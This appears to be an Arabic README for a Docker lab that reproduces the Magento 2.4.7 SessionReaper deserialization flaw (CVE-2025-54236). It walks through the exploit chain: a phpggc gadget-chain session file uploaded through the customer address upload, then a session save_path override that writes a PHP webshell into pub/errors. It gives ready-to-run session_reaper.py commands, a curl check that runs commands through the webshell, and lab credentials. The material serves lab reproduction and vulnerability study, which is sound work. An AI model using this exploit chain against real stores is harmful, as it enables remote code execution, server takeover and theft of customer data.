
بيئة Docker لتقديم عرض توضيحي عملي لثغرة CVE-2025-54236 (SessionReaper): إلغاء تسلسل كائنات PHP (PHP Object Deserialization) المؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) في Magento Open Source 2.4.7
بيئة Docker للعرض العملي لـ CVE-2025-54236 (SessionReaper): PHP Object Deserialization المؤدي إلى RCE في Magento Open Source 2.4.7.
للاستخدام الحصري في بيئة خاضعة للتحكم. لا تقم بالتنفيذ ضد أنظمة بدون إذن صريح.
CVE-2025-54236 تؤثر على Magento Open Source وAdobe Commerce حتى الإصدار 2.4.7. تقبل طريقة ServiceInputProcessor::getConstructorData() معاملات متداخلة عبر JSON تسمح بتجاوز session.save_path - المجلد الذي يخزن فيه PHP ملفات الجلسة.
سلسلة الاستغلال:
Guzzle/FW1 عبر phpggc) عبر /customer/address_file/upload، والذي يحفظه في pub/media/customer_address/s/e/sess_<id>.{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} كمعامل للمنشئ.session_start() مع PHPSESSID المُزيّف، ويزيل تسلسل سلسلة الأدوات، ويكتب ويب شيل في pub/errors/.المتطلب الأساسي: جلسات PHP مهيأة كـ file-based (وليس Redis/Memcached).
magento/
├── lab-magento/ # Docker lab (Magento 2.4.7 vulnerável)
│ ├── Dockerfile # PHP 8.2-FPM com extensões Magento
│ ├── docker-compose.yml # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Configurações do ambiente
│ ├── conf/
│ │ ├── nginx/ # VirtualHost nginx
│ │ └── php/magento.ini # Sessões file-based, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Instalação completa do zero
│ └── 02-demo-setup.sh # Prepara produto, payload e imprime instruções
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # PoC principal (autor: alexb616)
└── payloads/
├── shell.php # Webshell com aspas simples (evita escape JSON)
└── sess_payload.bin # Gadget chain serializada (gerado pelo script)
docker compose)ambionics/phpggc متاحةsession_reaper.py عن الملف الثنائي في: PATH الخاص بالنظام، ~/phpggc/phpggc، /opt/phpggc/phpggc، وكبديل احتياطي، يسحب صورة Docker ambionics/phpggc تلقائيًاrequests (pip install requests)sudo sysctl -w vm.max_map_count=262144 من أجل Elasticsearch)cd lab-magento
# 1. Instalar Magento 2.4.7 do zero (~25 minutos)
bash scripts/install.sh
يقوم install.sh بـ:
composer install --no-devsetup:install مع جلسات file-baseddefault (وليس developer - يمنع تحويل تحذيرات PHP 8.2 إلى استثناءات)setup:static-content:deploywww-data في جميع المراحلبعد التثبيت، من المجلد الجذر (/magento/):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
التحقق من RCE:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Saída esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
طريقة بديلة (متجه address، مع منتج حقيقي):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
| الخدمة | الرابط / المضيف | بيانات الاعتماد |
|---|---|---|
| متجر Magento | http://localhost:8080/ | - |
| إدارة Magento | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
يتم إنشاء URI الخاصة بلوحة الإدارة عشوائيًا أثناء التثبيت. للعثور عليها:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# Sessões criadas pelo exploit
docker exec lab_magento_php ls -la /var/www/html/var/session/
# Arquivo de sessão malicioso em media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# Logs em tempo real
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# Remover webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# Parar containers
docker compose -f lab-magento/docker-compose.yml down
# Destruir tudo (containers + volumes)
docker compose -f lab-magento/docker-compose.yml down -v
لماذا استخدام علامات الاقتباس المفردة في الويب شيل؟
يقوم phpggc Guzzle/FW1 بتسلسل الحمولة كـ JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. محتوى PHP مشفّر بصيغة JSON، لذا " تتحول إلى \". استخدام $_GET["cmd"] سينتج $_GET[\"cmd\"] - خطأ تحليل في PHP. الحل هو كتابة الويب شيل بعلامات اقتباس مفردة: $_GET['cmd'].
لماذا الوضع default وليس developer؟
يحوّل Magento في وضع developer جميع تحذيرات PHP إلى استثناءات. يصدر PHP 8.2 تحذير Warning: Trying to access array offset on null في lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114، والذي يتحول إلى استثناء 500 في لوحة الإدارة. في وضع default يتم تجاهل التحذير.
لماذا توجد الملفات في s/e/؟
ينظّم Magento رفع العناوين في pub/media/customer_address/{1º char}/{2º char}/filename. بالنسبة لملفات sess_*، الحرف الأول هو s والثاني e، مما ينتج دائمًا pub/media/customer_address/s/e/.